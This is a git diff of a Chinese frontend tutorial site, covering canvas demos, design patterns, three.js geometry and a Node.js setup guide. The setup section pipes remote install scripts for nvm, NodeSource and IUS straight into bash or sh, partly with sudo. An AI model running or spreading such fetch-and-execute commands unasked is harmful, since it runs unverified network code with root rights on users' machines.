ctx.font = '40px serif'
|
||||
ctx.textBaseline = 'top'
|
||||
ctx.textAlign = 'start'
|
||||
ctx.strokeText('hello world', 0, 100)
|
||||
}
|
||||
ctx.font = '40px serif';
|
||||
ctx.textBaseline = 'top';
|
||||
ctx.textAlign = 'start';
|
||||
ctx.strokeText('hello world', 0, 100);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
demo1()
|
||||
demo2()
|
||||
demo3()
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
demo1();
|
||||
demo2();
|
||||
demo3();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="500" height="200" />
|
||||
<canvas ref={canvasRef2} width="500" height="200" />
|
||||
<canvas ref={canvasRef3} width="500" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="500" height="200" />
|
||||
<canvas ref={canvasRef2} width="500" height="200" />
|
||||
<canvas ref={canvasRef3} width="500" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
```ts
|
||||
window.onload = function () {
|
||||
demo1()
|
||||
demo2()
|
||||
demo3()
|
||||
}
|
||||
|
||||
|
||||
```
|
||||
demo1();
|
||||
demo2();
|
||||
demo3();
|
||||
};
|
||||
```
|
||||
|
@ -8,73 +8,80 @@ group:
|
||||
path: /node
|
||||
---
|
||||
|
||||
|
||||
# 💊 node
|
||||
|
||||
基于 chrome 的 V8引擎 封装的一个JavaScript运行环境,事件驱动、非阻塞IO进程模型,它能让js代码运行在服务端。
|
||||
基于 chrome 的 V8 引擎 封装的一个 JavaScript 运行环境,事件驱动、非阻塞 IO 进程模型,它能让 js 代码运行在服务端。
|
||||
|
||||
对于前端工程师来说具有极大的意义,也让前端工程师离全栈工程师更近了一步。
|
||||
|
||||
对标产品为基于 rust、Tokio 的deno(destroy node),deno 具有更高的效率,并且原生就支持 typescript
|
||||
对标产品为基于 rust、Tokio 的 deno(destroy node),deno 具有更高的效率,并且原生就支持 typescript
|
||||
|
||||
## 安装
|
||||
### 方法1
|
||||
#### 拉取nvm
|
||||
|
||||
- wget -qO- [https://raw.githubusercontent.com/creationix/nvm/v0.31.1/install.sh](https://raw.githubusercontent.com/creationix/nvm/v0.31.1/install.sh) | bash
|
||||
#### 安装nvm
|
||||
### 方法 1
|
||||
|
||||
#### 拉取 nvm
|
||||
|
||||
<!-- 版本好可以根据需求来变更 14.X 16.X -->
|
||||
|
||||
- curl -fsSL https://rpm.nodesource.com/setup_16.x | sudo bash -
|
||||
|
||||
- sudo yum install -y nodejs
|
||||
|
||||
#### 安装 nvm
|
||||
|
||||
```javascript
|
||||
// 打开bash
|
||||
source ~/.bash_profile
|
||||
|
||||
// 写入 node文件指向
|
||||
export NODE_HOME=/usr/local/tool/nodejs/node
|
||||
export NODE_HOME=/usr/local/tool/nodejs/node
|
||||
export PATH=$NODE_HOME/bin:$PATH
|
||||
```
|
||||
|
||||
- nvm install node(版本号)or nvm install stable
|
||||
- 方案2
|
||||
- curl --silent --location [https://rpm.nodesource.com/setup_11.x](https://rpm.nodesource.com/setup_11.x)| sudo bash -
|
||||
### 方法2
|
||||
|
||||
### 方法 2
|
||||
|
||||
1. 第一步
|
||||
```
|
||||
|
||||
```js
|
||||
wget https://npm.taobao.org/mirrors/node/v12.16.1/node-v12.16.1-linux-x64.tar.gz
|
||||
```
|
||||
|
||||
|
||||
2. 第二步
|
||||
|
||||
```
|
||||
tar -xvf node-v12.16.1-linux-x64.tar.gz
|
||||
yum install gcc gcc-c++
|
||||
```
|
||||
|
||||
|
||||
3. 第三步
|
||||
|
||||
```
|
||||
mv node-v12.16.1-linux-x64.tar.gz node
|
||||
```
|
||||
|
||||
4. 第四步
|
||||
|
||||
```
|
||||
ln -s /usr/local/bin/node/bin/node /usr/bin/node
|
||||
ln -s /usr/local/bin/node/bin/npm /usr/bin/npm
|
||||
ln -s /usr/local/bin/node/bin/npx /usr/bin/npx
|
||||
```
|
||||
|
||||
|
||||
### 安装 GIT
|
||||
|
||||
- curl [https://setup.ius.io](https://setup.ius.io) | sh
|
||||
- yum install -y git2u
|
||||
- git --version
|
||||
|
||||
- curl [https://setup.ius.io](https://setup.ius.io) | sh
|
||||
- yum install -y git2u
|
||||
- git --version
|
||||
|
||||
## cjs、esm、umd 的区别
|
||||
|
||||
首先运行端的区别,cjs和esm只能运行在node端,而umd可以同时运行在node和浏览器端
|
||||
首先运行端的区别,cjs 和 esm 只能运行在 node 端,而 umd 可以同时运行在 node 和浏览器端
|
||||
|
||||
1. cjs 即为 CommonJs, 属于早期的node规范,可以使用require进行引用,module.exports 导出。
|
||||
2. esm 即为 Es module,属于es6提出之后版本的新的规范,语法是可以用 import 引用,export default 导出。
|
||||
3. umd 即为 Universal Module Definition(通用模块定义),也就是最基本的可在浏览器和node端执行的 js 代码。
|
||||
1. cjs 即为 CommonJs, 属于早期的 node 规范,可以使用 require 进行引用,module.exports 导出。
|
||||
2. esm 即为 Es module,属于 es6 提出之后版本的新的规范,语法是可以用 import 引用,export default 导出。
|
||||
3. umd 即为 Universal Module Definition(通用模块定义),也就是最基本的可在浏览器和 node 端执行的 js 代码。
|
||||
|
@ -5,11 +5,12 @@ nav:
|
||||
group:
|
||||
title: 💊 设计模式
|
||||
order: 1
|
||||
path: /pattern
|
||||
---
|
||||
|
||||
## 关于
|
||||
|
||||
学习设计模式,是为了让你的代码减少亢余,能用健壮的代码去解决问题,提升可维护性与拓展性。
|
||||
学习设计模式,它是一种思维模式,目的是为了让代码减少亢余,能用比较结构化的代码去解决问题,提升可维护性与拓展性。
|
||||
|
||||
**想做靠谱开发,先学设计模式**
|
||||
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 设计模式
|
||||
order: 6
|
||||
path: /pattern
|
||||
---
|
||||
|
||||
## 行为型
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 设计模式
|
||||
order: 2
|
||||
path: /pattern
|
||||
---
|
||||
|
||||
## 创建型
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 设计模式
|
||||
order: 4
|
||||
path: /pattern
|
||||
---
|
||||
|
||||
## 结构型
|
||||
@ -15,7 +16,7 @@ group:
|
||||
|
||||
将一个类的接口转化为另外一个接口,以满足用户需求,使类之间接口不兼容问题通过适配器得以解决。
|
||||
|
||||
案例:新来的大卫封装了个 **fetch** 请求库,但是公司以前的网络请求方法是基于 **XMLHttpRequest** 的,老板想大卫去改这已经写好的9999个接口的请求,大卫使用了适配器模式去兼容,如下:
|
||||
案例:新来的大卫封装了个 **fetch** 请求库,但是公司以前的网络请求方法是基于 **XMLHttpRequest** 的,老板想大卫去改这已经写好的 9999 个接口的请求,大卫使用了适配器模式去兼容,如下:
|
||||
|
||||
```js
|
||||
// RequestUtil 请求库
|
||||
@ -81,7 +82,7 @@ function Ajax(type, url, data, success, failed){
|
||||
// 发送post请求
|
||||
xhr.send(data);
|
||||
}
|
||||
|
||||
|
||||
// 处理返回数据
|
||||
xhr.onreadystatechange = function(){
|
||||
if(xhr.readyState == 4){
|
||||
@ -136,20 +137,20 @@ Ajax('get', 'https://nicecoders.github.io', data, function(res){
|
||||
|
||||
```jsx
|
||||
import React, { useRef, useState, useEffect } from 'react';
|
||||
import '@nicecode/css'
|
||||
import '@nicecode/css';
|
||||
|
||||
class Modal {
|
||||
constructor(opt = {}) {
|
||||
const { dom } = opt
|
||||
const { dom } = opt;
|
||||
|
||||
this.dom = dom
|
||||
this.dom = dom;
|
||||
}
|
||||
|
||||
show() {
|
||||
this.dom.innerHTML = '卧槽';
|
||||
this.dom.style.display = 'block'
|
||||
this.dom.style.width = '200px'
|
||||
this.dom.style.textAlign = 'center'
|
||||
this.dom.style.display = 'block';
|
||||
this.dom.style.width = '200px';
|
||||
this.dom.style.textAlign = 'center';
|
||||
}
|
||||
|
||||
hide() {
|
||||
@ -159,65 +160,81 @@ class Modal {
|
||||
|
||||
class DecoratorModal {
|
||||
constructor(_oldModal) {
|
||||
this._oldModal = _oldModal
|
||||
this._oldModal = _oldModal;
|
||||
}
|
||||
|
||||
show() {
|
||||
this._oldModal.show()
|
||||
this._oldModal.show();
|
||||
|
||||
this._oldModal.dom.innerHTML = '添加背景+文字减淡+圆角'
|
||||
this._oldModal.dom.style.color = '#aaa'
|
||||
this._oldModal.dom.style.borderRadius = '5px'
|
||||
this._oldModal.dom.innerHTML = '添加背景+文字减淡+圆角';
|
||||
this._oldModal.dom.style.color = '#aaa';
|
||||
this._oldModal.dom.style.borderRadius = '5px';
|
||||
}
|
||||
|
||||
hide() {
|
||||
this._oldModal.hide()
|
||||
this._oldModal.hide();
|
||||
}
|
||||
}
|
||||
|
||||
export default () => {
|
||||
const modalRef = useRef(null)
|
||||
const [modal, setModal] = useState(null)
|
||||
const modalRef = useRef(null);
|
||||
const [modal, setModal] = useState(null);
|
||||
// 案例:原本有个按钮,新的需求要将按钮样式置灰,并且文案改为 快去登录
|
||||
const openModal = () => {
|
||||
modal.show()
|
||||
}
|
||||
modal.show();
|
||||
};
|
||||
|
||||
const hideModal = () => {
|
||||
modal.hide()
|
||||
}
|
||||
modal.hide();
|
||||
};
|
||||
|
||||
const decoratorModal = () => {
|
||||
let dom = new DecoratorModal(modal)
|
||||
let dom = new DecoratorModal(modal);
|
||||
|
||||
setModal(dom)
|
||||
}
|
||||
setModal(dom);
|
||||
};
|
||||
|
||||
const normalModal = () => {
|
||||
let dom = new Modal({
|
||||
dom: modalRef.current
|
||||
})
|
||||
dom: modalRef.current,
|
||||
});
|
||||
|
||||
setModal(dom)
|
||||
}
|
||||
setModal(dom);
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
normalModal()
|
||||
}, [])
|
||||
normalModal();
|
||||
}, []);
|
||||
|
||||
let style = {
|
||||
margin: '0 6px',
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="decorator">
|
||||
<button style={style} onClick={openModal} >打开弹框</button>
|
||||
<button style={style} onClick={hideModal} >关闭弹框</button>
|
||||
<button style={style} onClick={decoratorModal} >添加适配器</button>
|
||||
<button style={style} onClick={normalModal} >清除适配器</button>
|
||||
<div ref={modalRef} style={{ display: 'none', marginTop: '20px', padding: '10px 20px', border: '1px solid #eee'}} ></div>
|
||||
<button style={style} onClick={openModal}>
|
||||
打开弹框
|
||||
</button>
|
||||
<button style={style} onClick={hideModal}>
|
||||
关闭弹框
|
||||
</button>
|
||||
<button style={style} onClick={decoratorModal}>
|
||||
添加适配器
|
||||
</button>
|
||||
<button style={style} onClick={normalModal}>
|
||||
清除适配器
|
||||
</button>
|
||||
<div
|
||||
ref={modalRef}
|
||||
style={{
|
||||
display: 'none',
|
||||
marginTop: '20px',
|
||||
padding: '10px 20px',
|
||||
border: '1px solid #eee',
|
||||
}}
|
||||
></div>
|
||||
</div>
|
||||
)
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
@ -230,9 +247,9 @@ function funcDecorator(type) {
|
||||
return function (target, name, descriptor) {
|
||||
if (type === 'class') {
|
||||
target.prototype.show = () => {
|
||||
console.log('装饰器处理后的类')
|
||||
}
|
||||
return target
|
||||
console.log('装饰器处理后的类');
|
||||
};
|
||||
return target;
|
||||
/**
|
||||
* or
|
||||
* return class NButton {
|
||||
@ -240,28 +257,29 @@ function funcDecorator(type) {
|
||||
* console.log('装饰器处理后')
|
||||
* }
|
||||
* }
|
||||
**/
|
||||
**/
|
||||
} else if (type === 'function') {
|
||||
const old = descriptor.value
|
||||
descriptor.value = function(...arg) { // 注意这里需要保留原this作用域,不能使用箭头函数
|
||||
console.log('----装饰器装饰函数----')
|
||||
const old = descriptor.value;
|
||||
descriptor.value = function (...arg) {
|
||||
// 注意这里需要保留原this作用域,不能使用箭头函数
|
||||
console.log('----装饰器装饰函数----');
|
||||
// 原函数
|
||||
return old.apply(this, arg)
|
||||
}
|
||||
return old.apply(this, arg);
|
||||
};
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
// 通过装饰器改变原有的 show 方法
|
||||
// @funcDecorator('class')
|
||||
class Button {
|
||||
show() {
|
||||
console.log('大卫的思想空间')
|
||||
console.log('大卫的思想空间');
|
||||
}
|
||||
|
||||
@funcDecorator('function')
|
||||
mb() {
|
||||
console.log('我是sb')
|
||||
console.log('我是sb');
|
||||
}
|
||||
}
|
||||
|
||||
@ -271,15 +289,10 @@ export default () => {
|
||||
// dom.show()
|
||||
// dom.mb()
|
||||
// console.log(dom)
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
进阶案例:控制台查看输出结果
|
||||
</div>
|
||||
)
|
||||
}
|
||||
}, []);
|
||||
|
||||
return <div>进阶案例:控制台查看输出结果</div>;
|
||||
};
|
||||
```
|
||||
|
||||
### 代理模式
|
||||
@ -292,21 +305,21 @@ export default () => {
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
// 普通私密信息
|
||||
const baseInfo = ['name', 'age', 'career']
|
||||
const baseInfo = ['name', 'age', 'career'];
|
||||
// 最私密信息
|
||||
const privateInfo = ['avatar', 'phone']
|
||||
const privateInfo = ['avatar', 'phone'];
|
||||
|
||||
// 规定礼物的数据结构由type和value组成
|
||||
const present = {
|
||||
type: '巧克力',
|
||||
value: 60,
|
||||
}
|
||||
type: '巧克力',
|
||||
value: 60,
|
||||
};
|
||||
|
||||
// 相亲男方
|
||||
const user = {
|
||||
isValidated: true,
|
||||
isVIP: false,
|
||||
}
|
||||
isValidated: true,
|
||||
isVIP: false,
|
||||
};
|
||||
|
||||
// 相亲女方
|
||||
const girl = {
|
||||
@ -330,53 +343,48 @@ const girl = {
|
||||
bottomValue: 50,
|
||||
// 记录最近一次收到的礼物
|
||||
lastPresent: present,
|
||||
}
|
||||
};
|
||||
|
||||
// 掘金婚介所推出了小礼物功能
|
||||
const JuejinLovers = new Proxy(girl, {
|
||||
get: function(girl, key) {
|
||||
|
||||
if((baseInfo.indexOf(key) !== -1) && !user.isValidated) {
|
||||
alert('您还没有完成验证哦')
|
||||
return
|
||||
get: function (girl, key) {
|
||||
if (baseInfo.indexOf(key) !== -1 && !user.isValidated) {
|
||||
alert('您还没有完成验证哦');
|
||||
return;
|
||||
}
|
||||
|
||||
// 此处我们认为只有验证过的用户才可以购买VIP
|
||||
if(user.isValidated && privateInfo.indexOf(key) !== -1 && !user.isVIP) {
|
||||
alert('只有VIP才可以查看该信息哦')
|
||||
return
|
||||
if (user.isValidated && privateInfo.indexOf(key) !== -1 && !user.isVIP) {
|
||||
alert('只有VIP才可以查看该信息哦');
|
||||
return;
|
||||
}
|
||||
|
||||
return girl[key]
|
||||
return girl[key];
|
||||
},
|
||||
set: function(girl, key, val) {
|
||||
|
||||
set: function (girl, key, val) {
|
||||
// 最近一次送来的礼物会尝试赋值给lastPresent字段
|
||||
// 需要返回 boolean 判断是否赋值成功
|
||||
if(key === 'lastPresent') {
|
||||
if(val.value < girl.bottomValue) {
|
||||
alert('sorry,您的礼物被拒收了')
|
||||
return false
|
||||
if (key === 'lastPresent') {
|
||||
if (val.value < girl.bottomValue) {
|
||||
alert('sorry,您的礼物被拒收了');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 如果没有拒收,则赋值成功,同时并入presents数组
|
||||
girl.lastPresent = val
|
||||
girl.presents = [...girl.presents, val]
|
||||
return true
|
||||
girl.lastPresent = val;
|
||||
girl.presents = [...girl.presents, val];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
})
|
||||
},
|
||||
});
|
||||
|
||||
export default () => {
|
||||
|
||||
useEffect(() => {
|
||||
console.log(JuejinLovers.name)
|
||||
JuejinLovers.lastPresent = present
|
||||
console.log(JuejinLovers)
|
||||
}, [])
|
||||
console.log(JuejinLovers.name);
|
||||
JuejinLovers.lastPresent = present;
|
||||
console.log(JuejinLovers);
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>hi</div>
|
||||
)
|
||||
}
|
||||
return <div>hi</div>;
|
||||
};
|
||||
```
|
||||
|
@ -4,7 +4,7 @@ nav:
|
||||
path: /fea
|
||||
group:
|
||||
title: 💊 SVG
|
||||
order: 3
|
||||
order: 1
|
||||
path: /svg
|
||||
---
|
||||
|
||||
@ -33,4 +33,4 @@ export default () => {
|
||||
|
||||
## 基础动画案例
|
||||
|
||||
<code src="./demos/ok.tsx" />
|
||||
<!-- <code src="./demos/ok.tsx" ></code> -->
|
||||
|
@ -159,3 +159,4 @@ class Car implements Alarm, Light {
|
||||
1. [Type Search](https://www.typescriptlang.org/dt/search?search=)
|
||||
2. [quick Type:自动生成 Type](https://app.quicktype.io)
|
||||
3. [ts playground: 线上编写测试代码](https://www.typescriptlang.org/zh/play)
|
||||
4. [tsconfig 参数解释](https://segmentfault.com/a/1190000021749847)
|
||||
|
119
docs/fea/webgl/Q&A.md
Normal file
@ -0,0 +1,119 @@
|
||||
---
|
||||
nav:
|
||||
title: 前端
|
||||
path: /fea
|
||||
group:
|
||||
title: 💊 webGL
|
||||
order: 100
|
||||
path: /webgl
|
||||
---
|
||||
|
||||
# 常见问题
|
||||
|
||||
## 创建形状实例时,如何去定位位置?
|
||||
|
||||
初始创建的时候,是以 3d 世界坐标系(0,0,0)为中心,基于这个点创建对应素材,再去配置 transform 和 position 参数
|
||||
|
||||
## 如何加载 exr 文件?
|
||||
|
||||
可以下载对应的 loader,进行文件的加载
|
||||
<https://www.jianshu.com/p/cc7dfdc51598>
|
||||
|
||||
## 镜头变成了鱼眼镜头?
|
||||
|
||||
- PerspectiveCamera 的 fov 参数设置过高,调低就行了
|
||||
|
||||
## 模型放大缩小会有点丢失细节,一直在闪烁?
|
||||
|
||||
把 PerspectiveCamera 的 near 参数调小,比如:0.01(按实际情况调整)
|
||||
|
||||
## 为什么材质很黑?
|
||||
|
||||
& ● 材质的质感需要通过环境来衬托,这边需要设置场景的环境值
|
||||
|
||||
```js
|
||||
import { RoomEnvironment } from 'three/examples/jsm/environments/RoomEnvironment.js';
|
||||
|
||||
// 场景环境添加纹理(这里默认使用threeJS提供的房间环境)
|
||||
const pmremGenerator = new THREE.PMREMGenerator(renderer);
|
||||
this.scene.environment = pmremGenerator.fromScene(
|
||||
new RoomEnvironment(),
|
||||
0.04,
|
||||
).texture;
|
||||
```
|
||||
|
||||
- ● 试试添加个环境光
|
||||
|
||||
## 为什么光线会过曝?
|
||||
|
||||
- ● child.material.envMapIntensity 参数设置的太高,导致本身的过曝
|
||||
- ● this.renderer.toneMappingExposure 色调映射的曝光级别过高
|
||||
- ● child.material.emissive = child.material.color 这段删除
|
||||
|
||||
## 模型文件过大,如何优化?
|
||||
|
||||
1. 使用压缩工具,去压缩处理模型,例如:gltf-pipeline(推荐)
|
||||
2. 加载 DRACOLoader 去压缩模型,但是会额外消耗浏览器内存与时间去进行额外计算
|
||||
|
||||
## 如何给 glb 模型的某个模块添加材质?
|
||||
|
||||
```js
|
||||
const diamondTexture = new RGBELoader().load('./path/diamond1.hdr');
|
||||
// 映射场景(球状体里面)
|
||||
diamondTexture.mapping = THREE.EquirectangularRefractionMapping;
|
||||
await model.traverse(
|
||||
(child) => {
|
||||
if (child.isMesh && child.material instanceof THREE.MeshStandardMaterial) {
|
||||
child.material.envMap = diamondTexture; // 上材质
|
||||
}
|
||||
},
|
||||
undefined,
|
||||
function (error) {
|
||||
console.error(error);
|
||||
},
|
||||
);
|
||||
```
|
||||
|
||||
## 字体加载的时候报错,fontloader unexpected token '<', "<!doctype "... is not valid json?
|
||||
|
||||
大概率是字体库的文件路径有问题,两个解决方案:
|
||||
|
||||
1. 把字体库上床到 oss,使用链接的形式加载字体
|
||||
2. 配置一下 vite 或者 webpack,让它能正确读取 json 格式的文件
|
||||
|
||||
## 用 RGBELoader 加载 hdr 材质,赋值给 glb 模型,为什么模型会丢失?
|
||||
|
||||
没有加上 mapping 属性
|
||||
|
||||
```
|
||||
// 映射场景(球状体里面)
|
||||
texture.mapping = THREE.EquirectangularRefractionMapping;
|
||||
```
|
||||
|
||||
## 如何查看光源是从哪里来?
|
||||
|
||||
可以给光源添加一个 helper,来帮助查看光的位置
|
||||
|
||||
```js
|
||||
// 平行光
|
||||
const directionalLightCameraHelper = new THREE.DirectionalLightHelper(
|
||||
new THREE.DirectionalLight(0xffffff, 1),
|
||||
5,
|
||||
'#000',
|
||||
);
|
||||
scene.add(directionalLightCameraHelper);
|
||||
|
||||
// 点光
|
||||
const pointLightHelper = new THREE.PointLightHelper(
|
||||
new THREE.PointLight(0xff0000, 1, 100),
|
||||
1,
|
||||
);
|
||||
scene.add(pointLightHelper);
|
||||
|
||||
// 半球光
|
||||
const helper = new THREE.HemisphereLightHelper(
|
||||
new THREE.HemisphereLight(0xffffbb, 0x080820, 1),
|
||||
5,
|
||||
);
|
||||
scene.add(helper);
|
||||
```
|
296
docs/fea/webgl/demo/base.tsx
Normal file
@ -0,0 +1,296 @@
|
||||
import React, { useEffect, useRef } from 'react';
|
||||
import * as THREE from 'three';
|
||||
import { OrbitControls } from 'three/addons/controls/OrbitControls.js';
|
||||
import { TextGeometry } from 'three/addons/geometries/TextGeometry.js';
|
||||
import { FontLoader } from 'three/addons/loaders/FontLoader.js';
|
||||
import { resizeRendererToDisplaySize } from '../utils'
|
||||
|
||||
export default () => {
|
||||
const ref = useRef(null)
|
||||
|
||||
useEffect(() => {
|
||||
ref.current && init(ref.current)
|
||||
}, [])
|
||||
|
||||
const init = (dom: HTMLElement) => {
|
||||
const scene = new THREE.Scene();
|
||||
const camera = new THREE.PerspectiveCamera(38, dom.clientWidth / dom.clientHeight, 0.1, 1000)
|
||||
// camera.lookAt( 0, 0, 0 );
|
||||
camera.position.set(25, 5, 40)
|
||||
camera.rotation.set(10, 0, 40)
|
||||
const cameraHelper = new THREE.CameraHelper( camera );
|
||||
scene.add( cameraHelper );
|
||||
|
||||
// 渲染器
|
||||
const renderer = new THREE.WebGLRenderer({ antialias: true, canvas: dom });
|
||||
// renderer.setSize(window.innerWidth, window.innerHeight);
|
||||
THREE.Cache.enabled = true;
|
||||
|
||||
// 创建立方体
|
||||
const geometry = new THREE.BoxGeometry(1, 1, 1);
|
||||
const material = new THREE.MeshLambertMaterial({ color: 0x00ffff })
|
||||
const cube = new THREE.Mesh(geometry, material);
|
||||
cube.position.y = -1
|
||||
scene.add(cube);
|
||||
|
||||
const edges = new THREE.EdgesGeometry( geometry );
|
||||
const line = new THREE.LineSegments( edges, new THREE.LineBasicMaterial( { color: 0xffffff } ) );
|
||||
line.position.y = -1
|
||||
scene.add( line );
|
||||
|
||||
// 创建一个胶囊
|
||||
const capGeometry = new THREE.CapsuleGeometry(1, 1, 10, 20)
|
||||
const capMaterial = new THREE.MeshLambertMaterial({ color: 0xdede8d, wireframe: false })
|
||||
const cap = new THREE.Mesh(capGeometry, capMaterial);
|
||||
cap.position.y = 1
|
||||
scene.add(cap);
|
||||
|
||||
// 创建一个圆形(半径,分段,分段起始角度,中心角)
|
||||
const circleGeometry = new THREE.CircleGeometry(2, 32, 10, Math.PI * 1.5)
|
||||
const circleMaterial = new THREE.MeshLambertMaterial({ color: 0xcccccd, wireframe: false })
|
||||
const circle = new THREE.Mesh(circleGeometry, circleMaterial);
|
||||
circle.position.y = 4
|
||||
circle.position.x = 3
|
||||
circleMaterial.side = THREE.DoubleSide
|
||||
scene.add(circle);
|
||||
|
||||
// 创建一个圆锥(半径,高度,侧面分段,侧面沿着高度的分段、底面是否封闭、分段起始角度、中心角)
|
||||
const coneGeometry = new THREE.ConeGeometry(1, 6, 20)
|
||||
const coneMaterial = new THREE.MeshLambertMaterial({ color: 0xcccccd, wireframe: false })
|
||||
const cone = new THREE.Mesh(coneGeometry, coneMaterial);
|
||||
cone.position.y = 4
|
||||
cone.position.x = -3
|
||||
scene.add(cone);
|
||||
|
||||
// 创建一个圆柱(顶半径,底半径,圆柱高,侧面分段、侧面沿高分段、底面是否封闭、起始角度、中心角)
|
||||
const cylinderGeometry = new THREE.CylinderGeometry(1, 1.5, 3, 10)
|
||||
const cylinderMaterial = new THREE.MeshLambertMaterial({ color: 0xcffcff, wireframe: false })
|
||||
const cylinder = new THREE.Mesh(cylinderGeometry, cylinderMaterial);
|
||||
cylinder.position.y = -3
|
||||
cylinder.position.x = -3
|
||||
scene.add(cylinder);
|
||||
|
||||
|
||||
// 创建一个12面几何体(半径、顶点)
|
||||
const dodecahedronGeometry = new THREE.DodecahedronGeometry(1)
|
||||
const dodecahedronMaterial = new THREE.MeshLambertMaterial({ color: 0xcffccd, wireframe: false })
|
||||
const dodecahedron = new THREE.Mesh(dodecahedronGeometry, dodecahedronMaterial);
|
||||
dodecahedron.position.y = 0
|
||||
dodecahedron.position.x = -4
|
||||
dodecahedron.position.z = 1
|
||||
scene.add(dodecahedron);
|
||||
|
||||
// 创建一个20面几何体(半径、顶点)
|
||||
const icosahedronGeometry = new THREE.IcosahedronGeometry(1)
|
||||
const icosahedronMaterial = new THREE.MeshLambertMaterial({ color: 0xcffcfd, wireframe: false })
|
||||
const icosahedron = new THREE.Mesh(icosahedronGeometry, icosahedronMaterial);
|
||||
icosahedron.position.y = 4
|
||||
icosahedron.position.x = -5
|
||||
icosahedron.position.z = 0.5
|
||||
scene.add(icosahedron);
|
||||
|
||||
// 车削缓冲几何体()
|
||||
const points = [];
|
||||
for ( let i = 0; i < 10; i ++ ) {
|
||||
points.push( new THREE.Vector2( Math.sin( i * 0.2 ) * 10 + 5, ( i - 5 ) * 2 ) );
|
||||
}
|
||||
const latheGeometry = new THREE.LatheGeometry( points );
|
||||
const latheMaterial = new THREE.MeshLambertMaterial( { color: 0xffff00 } );
|
||||
const lathe = new THREE.Mesh( latheGeometry, latheMaterial );
|
||||
lathe.position.y = 6
|
||||
lathe.position.x = 6
|
||||
lathe.position.z = 1
|
||||
// scene.add( lathe );
|
||||
|
||||
// 多面缓冲几何体,自定义坐标
|
||||
const verticesOfCube = [
|
||||
-1,-1,-1, 1,-1,-1, 1, 1,-1, -1, 1,-1,
|
||||
-1,-1, 1, 1,-1, 1, 1, 1, 1, -1, 1, 1,
|
||||
];
|
||||
|
||||
const indicesOfFaces = [
|
||||
2,1,0, 0,3,2,
|
||||
0,4,7, 7,3,0,
|
||||
0,1,5, 5,4,0,
|
||||
1,2,6, 6,5,1,
|
||||
2,3,7, 7,6,2,
|
||||
4,5,6, 6,7,4
|
||||
];
|
||||
|
||||
const polyGeometry = new THREE.PolyhedronGeometry( verticesOfCube, indicesOfFaces, 6, 3 );
|
||||
const polyMaterial = new THREE.MeshLambertMaterial( { color: 0xffff00 } );
|
||||
const poly = new THREE.Mesh( polyGeometry, polyMaterial );
|
||||
poly.position.y = -3
|
||||
poly.position.x = 7
|
||||
poly.position.z = -3
|
||||
scene.add( poly );
|
||||
|
||||
// 创建一个圆环(内半径、外半径、圆环的分段)
|
||||
const ringGeometry = new THREE.RingGeometry(1, 3)
|
||||
const ringMaterial = new THREE.MeshLambertMaterial({ color: 0xcffccc, wireframe: false })
|
||||
const ring = new THREE.Mesh(ringGeometry, ringMaterial);
|
||||
ring.position.y = 5
|
||||
ring.position.x = 7
|
||||
ring.position.z = 1
|
||||
ringMaterial.side = THREE.DoubleSide
|
||||
scene.add(ring);
|
||||
|
||||
// 绘制图形
|
||||
const heartShape = new THREE.Shape();
|
||||
const x = -2.5;
|
||||
const y = -5;
|
||||
heartShape.moveTo(x + 2.5, y + 2.5);
|
||||
heartShape.bezierCurveTo(x + 2.5, y + 2.5, x + 2, y, x, y);
|
||||
heartShape.bezierCurveTo(x - 3, y, x - 3, y + 3.5, x - 3, y + 3.5);
|
||||
heartShape.bezierCurveTo(x - 3, y + 5.5, x - 1.5, y + 7.7, x + 2.5, y + 9.5);
|
||||
heartShape.bezierCurveTo(x + 6, y + 7.7, x + 8, y + 4.5, x + 8, y + 3.5);
|
||||
heartShape.bezierCurveTo(x + 8, y + 3.5, x + 8, y, x + 5, y);
|
||||
heartShape.bezierCurveTo(x + 3.5, y, x + 2.5, y + 2.5, x + 2.5, y + 2.5);
|
||||
|
||||
|
||||
const shapeGeo = new THREE.ExtrudeGeometry( heartShape, {
|
||||
steps: 2,
|
||||
depth: 1,
|
||||
bevelEnabled: true,
|
||||
bevelThickness: 1,
|
||||
bevelSize: 1,
|
||||
bevelSegments: 5
|
||||
});
|
||||
const shapeMat = new THREE.MeshLambertMaterial( { color: 0x00ff00 } );
|
||||
const heart = new THREE.Mesh( shapeGeo, shapeMat ) ;
|
||||
heart.position.y = 6
|
||||
heart.position.z = 6
|
||||
heart.rotation.z = Math.PI * 1
|
||||
shapeMat.side = THREE.DoubleSide
|
||||
scene.add( heart );
|
||||
|
||||
// 球体
|
||||
const ballGeometry = new THREE.SphereGeometry(1, 19)
|
||||
const ballMaterial = new THREE.MeshLambertMaterial({ color: 0xcffccc, wireframe: false })
|
||||
const ball = new THREE.Mesh(ballGeometry, ballMaterial);
|
||||
ball.position.y = 6
|
||||
ball.position.x = 0
|
||||
ball.position.z = -1
|
||||
scene.add(ball);
|
||||
|
||||
// 四面体
|
||||
const fourGeometry = new THREE.TetrahedronGeometry(1)
|
||||
const fourMaterial = new THREE.MeshLambertMaterial({ color: 0xcffccc, wireframe: false })
|
||||
const four = new THREE.Mesh(fourGeometry, fourMaterial);
|
||||
four.position.y = 3
|
||||
four.position.x = -9
|
||||
four.position.z = -1
|
||||
scene.add(four);
|
||||
|
||||
// 圆环(半径,粗细)
|
||||
const torusGeometry = new THREE.TorusGeometry(3, 0.3)
|
||||
const torusMaterial = new THREE.MeshLambertMaterial({ color: 0xcffccc, wireframe: false })
|
||||
